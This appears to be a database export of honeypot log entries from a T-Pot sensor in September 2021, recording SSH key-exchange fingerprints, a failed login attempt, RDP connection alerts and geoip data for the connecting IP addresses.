"ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50350, "dest_port": 22, "timestamp": "2021-09-20T11:36:49.480850", "@timestamp": "2021-09-20T11:36:49.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30644	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:36:49.481429+03	2021-09-20 14:45:03.439172+03	{"_id": "wQb-AnwBvYTbRNuEkj2I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3aed63fa948e", "@version": "1", "timestamp": "2021-09-20T11:36:49.481429Z", "@timestamp": "2021-09-20T11:36:49.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30645	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:36:50.696643+03	2021-09-20 14:45:03.441141+03	{"_id": "wwb-AnwBvYTbRNuElj1x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [admin/jeanette] failed", "session": "3aed63fa948e", "@version": "1", "password": "jeanette", "username": "admin", "timestamp": "2021-09-20T11:36:50.696643Z", "@timestamp": "2021-09-20T11:36:50.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30646	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:36:51.980909+03	2021-09-20 14:45:03.442141+03	{"_id": "xAb-AnwBvYTbRNuEmj1Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3aed63fa948e", "@version": "1", "duration": 2.7803683280944824, "timestamp": "2021-09-20T11:36:51.980909Z", "@timestamp": "2021-09-20T11:36:51.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30647	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:36:49.480719+03	2021-09-20 14:45:03.444141+03	{"_id": "vgb-AnwBvYTbRNuEkD1J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 1041956688952728, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 50350, "dest_port": 22, "timestamp": "2021-09-20T11:36:49.480719Z", "@timestamp": "2021-09-20T11:36:49.480Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30648	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:49.201938+03	2021-09-20 14:45:03.445141+03	{"_id": "wAb-AnwBvYTbRNuEkT1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50350, "timestamp": "2021-09-20T11:36:49.201938", "@timestamp": "2021-09-20T11:36:49.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30649	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:36:41.444939+03	2021-09-20 14:45:03.446141+03	{"_id": "rwb-AnwBvYTbRNuEcT0H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:36:41.084941+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2221696157830093, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55287, "dest_port": 3389, "timestamp": "2021-09-20T11:36:41.444939Z", "@timestamp": "2021-09-20T11:36:41.444Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30650	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:36:41.825386+03	2021-09-20 14:45:03.448141+03	{"_id": "rgb-AnwBvYTbRNuEcT0H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:36:41.084941+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2221696157830093, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55287, "dest_port": 3389, "timestamp": "2021-09-20T11:36:41.825386Z", "@timestamp": "2021-09-20T11:36:41.825Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30651	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:36:41.444939+03	2021-09-20 14:45:03.449141+03	{"_id": "sgb-AnwBvYTbRNuEcT0J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:36:41.084941+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2221696157830093, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55287, "dest_port": 3389, "timestamp": "2021-09-20T11:36:41.444939Z", "@timestamp": "2021-09-20T11:36:41.444Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30652	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:36:41.444939+03	2021-09-20 14:45:03.450141+03	{"_id": "swb-AnwBvYTbRNuEcj0U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 55287, "dest_port": 3389, "timestamp": "2021-09-20T11:36:41.444939", "@timestamp": "2021-09-20T11:36:41.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30653	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:36:31.000285+03	2021-09-20 14:45:03.452141+03	{"_id": "rQb-AnwBvYTbRNuEcT0H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:29.804382+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 868251026408990, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 59825, "timestamp": "2021-09-20T11:36:31.000285Z", "@timestamp": "2021-09-20T11:36:31.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30654	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:36:41.825386+03	2021-09-20 14:45:03.453142+03	{"_id": "sAb-AnwBvYTbRNuEcT0H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:36:41.084941+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2221696157830093, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55287, "dest_port": 3389, "timestamp": "2021-09-20T11:36:41.825386Z", "@timestamp": "2021-09-20T11:36:41.825Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30655	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:36:41.477014+03	2021-09-20 14:45:03.454141+03	{"_id": "rAb-AnwBvYTbRNuEcT0G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:36:41.084941+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2221696157830093, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 55287, "timestamp": "2021-09-20T11:36:41.477014Z", "@timestamp": "2021-09-20T11:36:41.477Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30656	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:36:58.923105+03	2021-09-20 14:45:03.456175+03	{"_id": "4Qb-AnwBvYTbRNuEtT20", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:51921 (192.168.176.2:22) [session: 48e847fac769]", "session": "48e847fac769", "@version": "1", "protocol": "ssh", "src_port": 51921, "dest_port": 22, "timestamp": "2021-09-20T11:36:58.923105Z", "@timestamp": "2021-09-20T11:36:58.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30657	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:36:49.19799+03	2021-09-20 14:45:03.457143+03	{"_id": "vAb-AnwBvYTbRNuEjj2g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:50350 (192.168.176.2:22) [session: 3aed63fa948e]", "session": "3aed63fa948e", "@version": "1", "protocol": "ssh", "src_port": 50350, "dest_port": 22, "timestamp": "2021-09-20T11:36:49.197990Z", "@timestamp": "2021-09-20T11:36:49.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30658	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:36:49.20088+03	2021-09-20 14:45:03.459173+03	{"_id": "vQb-AnwBvYTbRNuEjj2g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3aed63fa948e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:36:49.200880Z", "@timestamp": "2021-09-20T11:36:49.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30659	42.192.47.188	109.199.241.180	Suricata	2021-09-20 14:37:20.000957+03	2021-09-20 14:45:03.460171+03	{"_id": "Rwb_AnwBvYTbRNuEJD7L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:28.748680+0000", "pkts_toclient": 10, "pkts_toserver": 4, "bytes_toclient": 691, "bytes_toserver": 1248}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "42.192.47.188", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.47.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1687415098469512, "@version": "1", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 55918, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:37:20.000957Z", "@timestamp": "2021-09-20T11:37:20.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
30660	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:27.9338+03	2021-09-20 14:45:03.461172+03	{"_id": "SAb_AnwBvYTbRNuEJT7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42627, "timestamp": "2021-09-20T11:37:27.933800", "@timestamp": "2021-09-20T11:37:27.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
